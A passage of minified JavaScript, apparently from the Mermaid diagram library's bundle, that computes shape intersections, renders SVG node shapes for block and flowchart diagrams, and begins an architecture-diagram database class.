i,a,s,l,u,h,f,d,p,m,g,y,v,x,b;if(i=e.y-t.y,s=t.x-e.x,u=e.x*t.y-t.x*e.y,p=i*r.x+s*r.y+u,m=i*n.x+s*n.y+u,!(p!==0&&m!==0&&jbe(p,m))&&(a=n.y-r.y,l=r.x-n.x,h=n.x*r.y-r.x*n.y,f=a*t.x+l*t.y+h,d=a*e.x+l*e.y+h,!(f!==0&&d!==0&&jbe(f,d))&&(g=i*l-a*s,g!==0)))return y=Math.abs(g/2),v=s*h-l*u,x=v<0?(v-y)/g:(v+y)/g,v=a*u-i*h,b=v<0?(v-y)/g:(v+y)/g,{x,y:b}}function jbe(t,e){return t*e>0}var Kbe,Qbe=N(()=>{"use strict";o(Wnt,"intersectLine");o(jbe,"sameSign");Kbe=Wnt});function Ynt(t,e,r){var n=t.x,i=t.y,a=[],s=Number.POSITIVE_INFINITY,l=Number.POSITIVE_INFINITY;typeof e.forEach=="function"?e.forEach(function(g){s=Math.min(s,g.x),l=Math.min(l,g.y)}):(s=Math.min(s,e.x),l=Math.min(l,e.y));for(var u=n-t.width/2-s,h=i-t.height/2-l,f=0;f1&&a.sort(function(g,y){var v=g.x-r.x,x=g.y-r.y,b=Math.sqrt(v*v+x*x),T=y.x-r.x,S=y.y-r.y,w=Math.sqrt(T*T+S*S);return b{"use strict";Qbe();Zbe=Ynt;o(Ynt,"intersectPolygon")});var Xnt,e4e,t4e=N(()=>{"use strict";Xnt=o((t,e)=>{var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2,u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=a===0?0:l*i/a,h=l):(i<0&&(s=-s),u=s,h=i===0?0:s*a/i),{x:r+u,y:n+h}},"intersectRect"),e4e=Xnt});var $n,xz=N(()=>{"use strict";Wbe();Xbe();vz();Jbe();t4e();$n={node:qbe,circle:Ybe,ellipse:MC,polygon:Zbe,rect:e4e}});function Wl(t,e,r,n){return t.insert("polygon",":first-child").attr("points",n.map(function(i){return i.x+","+i.y}).join(" ")).attr("class","label-container").attr("transform","translate("+-e/2+","+r/2+")")}var Li,ti,bz=N(()=>{"use strict";RC();zo();Xt();yr();gr();tr();Li=o(async(t,e,r,n)=>{let i=ge(),a,s=e.useHtmlLabels||vr(i.flowchart.htmlLabels);r?a=r:a="node default";let l=t.insert("g").attr("class",a).attr("id",e.domId||e.id),u=l.insert("g").attr("class","label").attr("style",e.labelStyle),h;e.labelText===void 0?h="":h=typeof e.labelText=="string"?e.labelText:e.labelText[0];let f=u.node(),d;e.labelType==="markdown"?d=di(u,sr(Ji(h),i),{useHtmlLabels:s,width:e.width||i.flowchart.wrappingWidth,classes:"markdown-node-label"},i):d=f.appendChild(await ks(sr(Ji(h),i),e.labelStyle,!1,n));let p=d.getBBox(),m=e.padding/2;if(vr(i.flowchart.htmlLabels)){let g=d.children[0],y=qe(d),v=g.getElementsByTagName("img");if(v){let x=h.replace(/]*>/g,"").trim()==="";await Promise.all([...v].map(b=>new Promise(T=>{function S(){if(b.style.display="flex",b.style.flexDirection="column",x){let w=i.fontSize?i.fontSize:window.getComputedStyle(document.body).fontSize,A=parseInt(w,10)*5+"px";b.style.minWidth=A,b.style.maxWidth=A}else b.style.width="100%";T(b)}o(S,"setupImage"),setTimeout(()=>{b.complete&&S()}),b.addEventListener("error",S),b.addEventListener("load",S)})))}p=g.getBoundingClientRect(),y.attr("width",p.width),y.attr("height",p.height)}return s?u.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"):u.attr("transform","translate(0, "+-p.height/2+")"),e.centerLabel&&u.attr("transform","translate("+-p.width/2+", "+-p.height/2+")"),u.insert("rect",":first-child"),{shapeSvg:l,bbox:p,halfPadding:m,label:u}},"labelHelper"),ti=o((t,e)=>{let r=e.node().getBBox();t.width=r.width,t.height=r.height},"updateNodeBounds");o(Wl,"insertPolygonShape")});var jnt,r4e,n4e=N(()=>{"use strict";bz();pt();Xt();xz();jnt=o(async(t,e)=>{e.useHtmlLabels||ge().flowchart.htmlLabels||(e.centerLabel=!0);let{shapeSvg:n,bbox:i,halfPadding:a}=await Li(t,e,"node "+e.classes,!0);X.info("Classes = ",e.classes);let s=n.insert("rect",":first-child");return s.attr("rx",e.rx).attr("ry",e.ry).attr("x",-i.width/2-a).attr("y",-i.height/2-a).attr("width",i.width+e.padding).attr("height",i.height+e.padding),ti(e,s),e.intersect=function(l){return $n.rect(e,l)},n},"note"),r4e=jnt});function Tz(t,e,r,n){let i=[],a=o(l=>{i.push(l,0)},"addBorder"),s=o(l=>{i.push(0,l)},"skipBorder");e.includes("t")?(X.debug("add top border"),a(r)):s(r),e.includes("r")?(X.debug("add right border"),a(n)):s(n),e.includes("b")?(X.debug("add bottom border"),a(r)):s(r),e.includes("l")?(X.debug("add left border"),a(n)):s(n),t.attr("stroke-dasharray",i.join(" "))}var i4e,To,a4e,Knt,Qnt,Znt,Jnt,eit,tit,rit,nit,iit,ait,sit,oit,lit,cit,uit,hit,fit,dit,pit,s4e,mit,git,o4e,IC,wz,l4e,c4e=N(()=>{"use strict";yr();Xt();gr();pt();Hbe();RC();xz();n4e();bz();i4e=o(t=>t?" "+t:"","formatClass"),To=o((t,e)=>`${e||"node default"}${i4e(t.classes)} ${i4e(t.class)}`,"getClassesFromNode"),a4e=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=i+a,l=[{x:s/2,y:0},{x:s,y:-s/2},{x:s/2,y:-s},{x:0,y:-s/2}];X.info("Question main (Circle)");let u=Wl(r,s,s,l);return u.attr("style",e.style),ti(e,u),e.intersect=function(h){return X.warn("Intersect called"),$n.polygon(e,l,h)},r},"question"),Knt=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=28,i=[{x:0,y:n/2},{x:n/2,y:0},{x:0,y:-n/2},{x:-n/2,y:0}];return r.insert("polygon",":first-child").attr("points",i.map(function(s){return s.x+","+s.y}).join(" ")).attr("class","state-start").attr("r",7).attr("width",28).attr("height",28),e.width=28,e.height=28,e.intersect=function(s){return $n.circle(e,14,s)},r},"choice"),Qnt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=4,a=n.height+e.padding,s=a/i,l=n.width+2*s+e.padding,u=[{x:s,y:0},{x:l-s,y:0},{x:l,y:-a/2},{x:l-s,y:-a},{x:s,y:-a},{x:0,y:-a/2}],h=Wl(r,l,a,u);return h.attr("style",e.style),ti(e,h),e.intersect=function(f){return $n.polygon(e,u,f)},r},"hexagon"),Znt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,void 0,!0),i=2,a=n.height+2*e.padding,s=a/i,l=n.width+2*s+e.padding,u=Ube(e.directions,n,e),h=Wl(r,l,a,u);return h.attr("style",e.style),ti(e,h),e.intersect=function(f){return $n.polygon(e,u,f)},r},"block_arrow"),Jnt=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-a/2,y:0},{x:i,y:0},{x:i,y:-a},{x:-a/2,y:-a},{x:0,y:-a/2}];return Wl(r,i,a,s).attr("style",e.style),e.width=i+a,e.height=a,e.intersect=function(u){return $n.polygon(e,s,u)},r},"rect_left_inv_arrow"),eit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-2*a/6,y:0},{x:i-a/6,y:0},{x:i+2*a/6,y:-a},{x:a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"lean_right"),tit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:2*a/6,y:0},{x:i+a/6,y:0},{x:i-2*a/6,y:-a},{x:-a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"lean_left"),rit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:-2*a/6,y:0},{x:i+2*a/6,y:0},{x:i-a/6,y:-a},{x:a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"trapezoid"),nit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:a/6,y:0},{x:i-a/6,y:0},{x:i+2*a/6,y:-a},{x:-2*a/6,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"inv_trapezoid"),iit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:0,y:0},{x:i+a/2,y:0},{x:i,y:-a/2},{x:i+a/2,y:-a},{x:0,y:-a}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"rect_right_inv_arrow"),ait=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=i/2,s=a/(2.5+i/50),l=n.height+s+e.padding,u="M 0,"+s+" a "+a+","+s+" 0,0,0 "+i+" 0 a "+a+","+s+" 0,0,0 "+-i+" 0 l 0,"+l+" a "+a+","+s+" 0,0,0 "+i+" 0 l 0,"+-l,h=r.attr("label-offset-y",s).insert("path",":first-child").attr("style",e.style).attr("d",u).attr("transform","translate("+-i/2+","+-(l/2+s)+")");return ti(e,h),e.intersect=function(f){let d=$n.rect(e,f),p=d.x-e.x;if(a!=0&&(Math.abs(p)e.height/2-s)){let m=s*s*(1-p*p/(a*a));m!=0&&(m=Math.sqrt(m)),m=s-m,f.y-e.y>0&&(m=-m),d.y+=m}return d},r},"cylinder"),sit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,"node "+e.classes+" "+e.class,!0),a=r.insert("rect",":first-child"),s=e.positioned?e.width:n.width+e.padding,l=e.positioned?e.height:n.height+e.padding,u=e.positioned?-s/2:-n.width/2-i,h=e.positioned?-l/2:-n.height/2-i;if(a.attr("class","basic label-container").attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("x",u).attr("y",h).attr("width",s).attr("height",l),e.props){let f=new Set(Object.keys(e.props));e.props.borders&&(Tz(a,e.props.borders,s,l),f.delete("borders")),f.forEach(d=>{X.warn(`Unknown node property ${d}`)})}return ti(e,a),e.intersect=function(f){return $n.rect(e,f)},r},"rect"),oit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,"node "+e.classes,!0),a=r.insert("rect",":first-child"),s=e.positioned?e.width:n.width+e.padding,l=e.positioned?e.height:n.height+e.padding,u=e.positioned?-s/2:-n.width/2-i,h=e.positioned?-l/2:-n.height/2-i;if(a.attr("class","basic cluster composite label-container").attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("x",u).attr("y",h).attr("width",s).attr("height",l),e.props){let f=new Set(Object.keys(e.props));e.props.borders&&(Tz(a,e.props.borders,s,l),f.delete("borders")),f.forEach(d=>{X.warn(`Unknown node property ${d}`)})}return ti(e,a),e.intersect=function(f){return $n.rect(e,f)},r},"composite"),lit=o(async(t,e)=>{let{shapeSvg:r}=await Li(t,e,"label",!0);X.trace("Classes = ",e.class);let n=r.insert("rect",":first-child"),i=0,a=0;if(n.attr("width",i).attr("height",a),r.attr("class","label edgeLabel"),e.props){let s=new Set(Object.keys(e.props));e.props.borders&&(Tz(n,e.props.borders,i,a),s.delete("borders")),s.forEach(l=>{X.warn(`Unknown node property ${l}`)})}return ti(e,n),e.intersect=function(s){return $n.rect(e,s)},r},"labelRect");o(Tz,"applyNodePropertyBorders");cit=o(async(t,e)=>{let r;e.classes?r="node "+e.classes:r="node default";let n=t.insert("g").attr("class",r).attr("id",e.domId||e.id),i=n.insert("rect",":first-child"),a=n.insert("line"),s=n.insert("g").attr("class","label"),l=e.labelText.flat?e.labelText.flat():e.labelText,u="";typeof l=="object"?u=l[0]:u=l,X.info("Label text abc79",u,l,typeof l=="object");let h=s.node().appendChild(await ks(u,e.labelStyle,!0,!0)),f={width:0,height:0};if(vr(ge().flowchart.htmlLabels)){let y=h.children[0],v=qe(h);f=y.getBoundingClientRect(),v.attr("width",f.width),v.attr("height",f.height)}X.info("Text 2",l);let d=l.slice(1,l.length),p=h.getBBox(),m=s.node().appendChild(await ks(d.join?d.join("
    "):d,e.labelStyle,!0,!0));if(vr(ge().flowchart.htmlLabels)){let y=m.children[0],v=qe(m);f=y.getBoundingClientRect(),v.attr("width",f.width),v.attr("height",f.height)}let g=e.padding/2;return qe(m).attr("transform","translate( "+(f.width>p.width?0:(p.width-f.width)/2)+", "+(p.height+g+5)+")"),qe(h).attr("transform","translate( "+(f.width{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.height+e.padding,a=n.width+i/4+e.padding,s=r.insert("rect",":first-child").attr("style",e.style).attr("rx",i/2).attr("ry",i/2).attr("x",-a/2).attr("y",-i/2).attr("width",a).attr("height",i);return ti(e,s),e.intersect=function(l){return $n.rect(e,l)},r},"stadium"),hit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,To(e,void 0),!0),a=r.insert("circle",":first-child");return a.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i).attr("width",n.width+e.padding).attr("height",n.height+e.padding),X.info("Circle main"),ti(e,a),e.intersect=function(s){return X.info("Circle intersect",e,n.width/2+i,s),$n.circle(e,n.width/2+i,s)},r},"circle"),fit=o(async(t,e)=>{let{shapeSvg:r,bbox:n,halfPadding:i}=await Li(t,e,To(e,void 0),!0),a=5,s=r.insert("g",":first-child"),l=s.insert("circle"),u=s.insert("circle");return s.attr("class",e.class),l.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i+a).attr("width",n.width+e.padding+a*2).attr("height",n.height+e.padding+a*2),u.attr("style",e.style).attr("rx",e.rx).attr("ry",e.ry).attr("r",n.width/2+i).attr("width",n.width+e.padding).attr("height",n.height+e.padding),X.info("DoubleCircle main"),ti(e,l),e.intersect=function(h){return X.info("DoubleCircle intersect",e,n.width/2+i+a,h),$n.circle(e,n.width/2+i+a,h)},r},"doublecircle"),dit=o(async(t,e)=>{let{shapeSvg:r,bbox:n}=await Li(t,e,To(e,void 0),!0),i=n.width+e.padding,a=n.height+e.padding,s=[{x:0,y:0},{x:i,y:0},{x:i,y:-a},{x:0,y:-a},{x:0,y:0},{x:-8,y:0},{x:i+8,y:0},{x:i+8,y:-a},{x:-8,y:-a},{x:-8,y:0}],l=Wl(r,i,a,s);return l.attr("style",e.style),ti(e,l),e.intersect=function(u){return $n.polygon(e,s,u)},r},"subroutine"),pit=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=r.insert("circle",":first-child");return n.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14),ti(e,n),e.intersect=function(i){return $n.circle(e,7,i)},r},"start"),s4e=o((t,e,r)=>{let n=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),i=70,a=10;r==="LR"&&(i=10,a=70);let s=n.append("rect").attr("x",-1*i/2).attr("y",-1*a/2).attr("width",i).attr("height",a).attr("class","fork-join");return ti(e,s),e.height=e.height+e.padding/2,e.width=e.width+e.padding/2,e.intersect=function(l){return $n.rect(e,l)},n},"forkJoin"),mit=o((t,e)=>{let r=t.insert("g").attr("class","node default").attr("id",e.domId||e.id),n=r.insert("circle",":first-child"),i=r.insert("circle",":first-child");return i.attr("class","state-start").attr("r",7).attr("width",14).attr("height",14),n.attr("class","state-end").attr("r",5).attr("width",10).attr("height",10),ti(e,i),e.intersect=function(a){return $n.circle(e,7,a)},r},"end"),git=o(async(t,e)=>{let r=e.padding/2,n=4,i=8,a;e.classes?a="node "+e.classes:a="node default";let s=t.insert("g").attr("class",a).attr("id",e.domId||e.id),l=s.insert("rect",":first-child"),u=s.insert("line"),h=s.insert("line"),f=0,d=n,p=s.insert("g").attr("class","label"),m=0,g=e.classData.annotations?.[0],y=e.classData.annotations[0]?"\xAB"+e.classData.annotations[0]+"\xBB":"",v=p.node().appendChild(await ks(y,e.labelStyle,!0,!0)),x=v.getBBox();if(vr(ge().flowchart.htmlLabels)){let C=v.children[0],R=qe(v);x=C.getBoundingClientRect(),R.attr("width",x.width),R.attr("height",x.height)}e.classData.annotations[0]&&(d+=x.height+n,f+=x.width);let b=e.classData.label;e.classData.type!==void 0&&e.classData.type!==""&&(ge().flowchart.htmlLabels?b+="<"+e.classData.type+">":b+="<"+e.classData.type+">");let T=p.node().appendChild(await ks(b,e.labelStyle,!0,!0));qe(T).attr("class","classTitle");let S=T.getBBox();if(vr(ge().flowchart.htmlLabels)){let C=T.children[0],R=qe(T);S=C.getBoundingClientRect(),R.attr("width",S.width),R.attr("height",S.height)}d+=S.height+n,S.width>f&&(f=S.width);let w=[];e.classData.members.forEach(async C=>{let R=C.getDisplayDetails(),I=R.displayText;ge().flowchart.htmlLabels&&(I=I.replace(//g,">"));let L=p.node().appendChild(await ks(I,R.cssStyle?R.cssStyle:e.labelStyle,!0,!0)),E=L.getBBox();if(vr(ge().flowchart.htmlLabels)){let D=L.children[0],_=qe(L);E=D.getBoundingClientRect(),_.attr("width",E.width),_.attr("height",E.height)}E.width>f&&(f=E.width),d+=E.height+n,w.push(L)}),d+=i;let k=[];if(e.classData.methods.forEach(async C=>{let R=C.getDisplayDetails(),I=R.displayText;ge().flowchart.htmlLabels&&(I=I.replace(//g,">"));let L=p.node().appendChild(await ks(I,R.cssStyle?R.cssStyle:e.labelStyle,!0,!0)),E=L.getBBox();if(vr(ge().flowchart.htmlLabels)){let D=L.children[0],_=qe(L);E=D.getBoundingClientRect(),_.attr("width",E.width),_.attr("height",E.height)}E.width>f&&(f=E.width),d+=E.height+n,k.push(L)}),d+=i,g){let C=(f-x.width)/2;qe(v).attr("transform","translate( "+(-1*f/2+C)+", "+-1*d/2+")"),m=x.height+n}let A=(f-S.width)/2;return qe(T).attr("transform","translate( "+(-1*f/2+A)+", "+(-1*d/2+m)+")"),m+=S.height+n,u.attr("class","divider").attr("x1",-f/2-r).attr("x2",f/2+r).attr("y1",-d/2-r+i+m).attr("y2",-d/2-r+i+m),m+=i,w.forEach(C=>{qe(C).attr("transform","translate( "+-f/2+", "+(-1*d/2+m+i/2)+")");let R=C?.getBBox();m+=(R?.height??0)+n}),m+=i,h.attr("class","divider").attr("x1",-f/2-r).attr("x2",f/2+r).attr("y1",-d/2-r+i+m).attr("y2",-d/2-r+i+m),m+=i,k.forEach(C=>{qe(C).attr("transform","translate( "+-f/2+", "+(-1*d/2+m)+")");let R=C?.getBBox();m+=(R?.height??0)+n}),l.attr("style",e.style).attr("class","outer title-state").attr("x",-f/2-r).attr("y",-(d/2)-r).attr("width",f+e.padding).attr("height",d+e.padding),ti(e,l),e.intersect=function(C){return $n.rect(e,C)},s},"class_box"),o4e={rhombus:a4e,composite:oit,question:a4e,rect:sit,labelRect:lit,rectWithTitle:cit,choice:Knt,circle:hit,doublecircle:fit,stadium:uit,hexagon:Qnt,block_arrow:Znt,rect_left_inv_arrow:Jnt,lean_right:eit,lean_left:tit,trapezoid:rit,inv_trapezoid:nit,rect_right_inv_arrow:iit,cylinder:ait,start:pit,end:mit,note:r4e,subroutine:dit,fork:s4e,join:s4e,class_box:git},IC={},wz=o(async(t,e,r)=>{let n,i;if(e.link){let a;ge().securityLevel==="sandbox"?a="_top":e.linkTarget&&(a=e.linkTarget||"_blank"),n=t.insert("svg:a").attr("xlink:href",e.link).attr("target",a),i=await o4e[e.shape](n,e,r)}else i=await o4e[e.shape](t,e,r),n=i;return e.tooltip&&i.attr("title",e.tooltip),e.class&&i.attr("class","node default "+e.class),IC[e.id]=n,e.haveCallback&&IC[e.id].attr("class",IC[e.id].attr("class")+" clickable"),n},"insertNode"),l4e=o(t=>{let e=IC[t.id];X.trace("Transforming node",t.diff,t,"translate("+(t.x-t.width/2-5)+", "+t.width/2+")");let r=8,n=t.diff||0;return t.clusterNode?e.attr("transform","translate("+(t.x+n-t.width/2)+", "+(t.y-t.height/2-r)+")"):e.attr("transform","translate("+t.x+", "+t.y+")"),n},"positionNode")});function u4e(t,e,r=!1){let n=t,i="default";(n?.classes?.length||0)>0&&(i=(n?.classes??[]).join(" ")),i=i+" flowchart-label";let a=0,s="",l;switch(n.type){case"round":a=5,s="rect";break;case"composite":a=0,s="composite",l=0;break;case"square":s="rect";break;case"diamond":s="question";break;case"hexagon":s="hexagon";break;case"block_arrow":s="block_arrow";break;case"odd":s="rect_left_inv_arrow";break;case"lean_right":s="lean_right";break;case"lean_left":s="lean_left";break;case"trapezoid":s="trapezoid";break;case"inv_trapezoid":s="inv_trapezoid";break;case"rect_left_inv_arrow":s="rect_left_inv_arrow";break;case"circle":s="circle";break;case"ellipse":s="ellipse";break;case"stadium":s="stadium";break;case"subroutine":s="subroutine";break;case"cylinder":s="cylinder";break;case"group":s="rect";break;case"doublecircle":s="doublecircle";break;default:s="rect"}let u=zL(n?.styles??[]),h=n.label,f=n.size??{width:0,height:0,x:0,y:0};return{labelStyle:u.labelStyle,shape:s,labelText:h,rx:a,ry:a,class:i,style:u.style,id:n.id,directions:n.directions,width:f.width,height:f.height,x:f.x,y:f.y,positioned:r,intersect:void 0,type:n.type,padding:l??Qt()?.block?.padding??0}}async function yit(t,e,r){let n=u4e(e,r,!1);if(n.type==="group")return;let i=Qt(),a=await wz(t,n,{config:i}),s=a.node().getBBox(),l=r.getBlock(n.id);l.size={width:s.width,height:s.height,x:0,y:0,node:a},r.setBlock(l),a.remove()}async function vit(t,e,r){let n=u4e(e,r,!0);if(r.getBlock(n.id).type!=="space"){let a=Qt();await wz(t,n,{config:a}),e.intersect=n?.intersect,l4e(n)}}async function kz(t,e,r,n){for(let i of e)await n(t,i,r),i.children&&await kz(t,i.children,r,n)}async function h4e(t,e,r){await kz(t,e,r,yit)}async function f4e(t,e,r){await kz(t,e,r,vit)}async function d4e(t,e,r,n,i){let a=new cn({multigraph:!0,compound:!0});a.setGraph({rankdir:"TB",nodesep:10,ranksep:10,marginx:8,marginy:8});for(let s of r)s.size&&a.setNode(s.id,{width:s.size.width,height:s.size.height,intersect:s.intersect});for(let s of e)if(s.start&&s.end){let l=n.getBlock(s.start),u=n.getBlock(s.end);if(l?.size&&u?.size){let h=l.size,f=u.size,d=[{x:h.x,y:h.y},{x:h.x+(f.x-h.x)/2,y:h.y+(f.y-h.y)/2},{x:f.x,y:f.y}];Gbe(t,{v:s.start,w:s.end,name:s.id},{...s,arrowTypeEnd:s.arrowTypeEnd,arrowTypeStart:s.arrowTypeStart,points:d,classes:"edge-thickness-normal edge-pattern-solid flowchart-link LS-a1 LE-b1"},void 0,"block",a,i),s.label&&(await $be(t,{...s,label:s.label,labelStyle:"stroke: #333; stroke-width: 1.5px;fill:none;",arrowTypeEnd:s.arrowTypeEnd,arrowTypeStart:s.arrowTypeStart,points:d,classes:"edge-thickness-normal edge-pattern-solid flowchart-link LS-a1 LE-b1"}),zbe({...s,x:d[1].x,y:d[1].y},{originalPath:d}))}}}var p4e=N(()=>{"use strict";qo();qn();Vbe();c4e();tr();o(u4e,"getNodeFromBlock");o(yit,"calculateBlockSize");o(vit,"insertBlockPositioned");o(kz,"performOperations");o(h4e,"calculateBlockSizes");o(f4e,"insertBlocks");o(d4e,"insertEdges")});var xit,bit,m4e,g4e=N(()=>{"use strict";yr();qn();Dbe();pt();Ei();Mbe();p4e();xit=o(function(t,e){return e.db.getClasses()},"getClasses"),bit=o(async function(t,e,r,n){let{securityLevel:i,block:a}=Qt(),s=n.db,l;i==="sandbox"&&(l=qe("#i"+e));let u=i==="sandbox"?qe(l.nodes()[0].contentDocument.body):qe("body"),h=i==="sandbox"?u.select(`[id="${e}"]`):qe(`[id="${e}"]`);_be(h,["point","circle","cross"],n.type,e);let d=s.getBlocks(),p=s.getBlocksFlat(),m=s.getEdges(),g=h.insert("g").attr("class","block");await h4e(g,d,s);let y=Nbe(s);if(await f4e(g,d,s),await d4e(g,m,p,s,e),y){let v=y,x=Math.max(1,Math.round(.125*(v.width/v.height))),b=v.height+x+10,T=v.width+10,{useMaxWidth:S}=a;mn(h,b,T,!!S),X.debug("Here Bounds",y,v),h.attr("viewBox",`${v.x-5} ${v.y-5} ${v.width+10} ${v.height+10}`)}},"draw"),m4e={draw:bit,getClasses:xit}});var y4e={};dr(y4e,{diagram:()=>Tit});var Tit,v4e=N(()=>{"use strict";vbe();Sbe();Abe();g4e();Tit={parser:ybe,db:Ebe,renderer:m4e,styles:Cbe}});var Ez,Sz,N4,T4e,Cz,Ya,nu,M4,w4e,Sit,I4,k4e,E4e,S4e,C4e,A4e,OC,td,PC=N(()=>{"use strict";Ez={L:"left",R:"right",T:"top",B:"bottom"},Sz={L:o(t=>`${t},${t/2} 0,${t} 0,0`,"L"),R:o(t=>`0,${t/2} ${t},0 ${t},${t}`,"R"),T:o(t=>`0,0 ${t},0 ${t/2},${t}`,"T"),B:o(t=>`${t/2},0 ${t},${t} 0,${t}`,"B")},N4={L:o((t,e)=>t-e+2,"L"),R:o((t,e)=>t-2,"R"),T:o((t,e)=>t-e+2,"T"),B:o((t,e)=>t-2,"B")},T4e=o(function(t){return Ya(t)?t==="L"?"R":"L":t==="T"?"B":"T"},"getOppositeArchitectureDirection"),Cz=o(function(t){let e=t;return e==="L"||e==="R"||e==="T"||e==="B"},"isArchitectureDirection"),Ya=o(function(t){let e=t;return e==="L"||e==="R"},"isArchitectureDirectionX"),nu=o(function(t){let e=t;return e==="T"||e==="B"},"isArchitectureDirectionY"),M4=o(function(t,e){let r=Ya(t)&&nu(e),n=nu(t)&&Ya(e);return r||n},"isArchitectureDirectionXY"),w4e=o(function(t){let e=t[0],r=t[1],n=Ya(e)&&nu(r),i=nu(e)&&Ya(r);return n||i},"isArchitecturePairXY"),Sit=o(function(t){return t!=="LL"&&t!=="RR"&&t!=="TT"&&t!=="BB"},"isValidArchitectureDirectionPair"),I4=o(function(t,e){let r=`${t}${e}`;return Sit(r)?r:void 0},"getArchitectureDirectionPair"),k4e=o(function([t,e],r){let n=r[0],i=r[1];return Ya(n)?nu(i)?[t+(n==="L"?-1:1),e+(i==="T"?1:-1)]:[t+(n==="L"?-1:1),e]:Ya(i)?[t+(i==="L"?1:-1),e+(n==="T"?1:-1)]:[t,e+(n==="T"?1:-1)]},"shiftPositionByArchitectureDirectionPair"),E4e=o(function(t){return t==="LT"||t==="TL"?[1,1]:t==="BL"||t==="LB"?[1,-1]:t==="BR"||t==="RB"?[-1,-1]:[-1,1]},"getArchitectureDirectionXYFactors"),S4e=o(function(t,e){return M4(t,e)?"bend":Ya(t)?"horizontal":"vertical"},"getArchitectureDirectionAlignment"),C4e=o(function(t){return t.type==="service"},"isArchitectureService"),A4e=o(function(t){return t.type==="junction"},"isArchitectureJunction"),OC=o(t=>t.data(),"edgeData"),td=o(t=>t.data(),"nodeData")});var Cit,vy,Az=N(()=>{"use strict";qn();La();tr();ci();PC();Cit=ur.architecture,vy=class{constructor(){this.nodes={};this.groups={};this.edges=[];this.registeredIds={};this.elements={};this.setAccTitle=Rr;this.getAccTitle=Mr;this.setDiagramTitle=$r;this.getDiagramTitle=Pr;this.getAccDescription=Or;this.setAccDescription=Ir;this.clear()}static{o(this,"ArchitectureDB")}clear(){this.nodes={},this.groups={},this.edges=[],this.registeredIds={},this.dataStructures=void 0,this.elements={},Sr()}addService({id:e,icon:r,in:n,title:i,iconText:a}){if(this.registeredIds[e]!==void 0)throw new Error(`The service id [${e}] is already in use by another ${this.registeredIds[e]}`);if(n!==void 0){if(e===n)throw new Error(`The service [${e}] cannot be placed within itself`);if(this.registeredIds[n]===void 0)throw new Error(`The service [${e}]'s parent does not exist. Please make sure the parent is created before this service`);if(this.registeredIds[n]==="node")throw new Error(`The service [${e}]'s parent is not a group`)}this.registeredIds[e]="node",this.nodes[e]={id:e,type:"service",icon:r,iconText:a,title:i,edges:[],in:n}}getServices(){return Object.values(this.nodes).filter(C4e)}addJunction({id:e,in:r}){this.registeredIds[e]="node",this.nodes[e]={id:e,type:"junction",edges:[],in:r}}getJunctions(){return Object.values(this.nodes).filter(A4e)}getNodes(){return Object.values(this.nodes)}getNode(e){return this.nodes[e]??null}addGroup({id:e,icon:r,in:n,title:i}){if(this.registeredIds?.[e]!==void 0)throw new Error(`The group id [${e}] is already in use by another ${this.registeredIds[e]}`);if(n!==void 0){if(e===n)throw new Error(`The group [${e}] cannot be placed within itself`);if(this.registeredIds?.[n]===void 0)throw new Error(`The group [${e}]'s parent does not exist. Please make sure the parent is created before this group`);if(this.registeredIds?.[n]==="node")throw new Error(`The group [${e}]'s parent is not a group`)}this.registeredIds[e]="group",this.groups[e]={id:e,icon:r,title:i,in:n}}getGroups(){return Object.values(this.groups)}addEdge({lhsId:e,rhsId:r,lhsDir:n,rhsDir:i,lhsInto:a,rhsInto:s,lhsGroup:l,rhsGroup:u,title:h}){if(!Cz(n))throw new Error(`Invalid direction given for left hand side of edge ${e}--${r}. Expected (L,R,T,B) got ${String(n)}`);if(!Cz(i))throw new Error(`Invalid direction given for right hand side of edge ${e}--${r}. 